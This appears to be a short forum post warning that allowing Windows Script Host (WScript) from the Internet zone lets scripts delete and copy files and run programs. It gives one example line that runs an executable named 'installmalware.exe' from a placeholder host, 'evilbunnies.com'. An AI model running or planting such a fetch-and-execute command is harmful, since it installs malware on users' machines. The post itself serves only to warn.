Blowdart said:

And yes, once you all wscript you allow deletion of files, copying of files, generally messing around with the file system, network drives, all sorts of other fun things.

WScript is even worse than WScript.Network:

WScript.Exec("\\evilbunnies.com\installmalware.exe", 0);

Sad times for your business if you allow it from the Internet zone Sad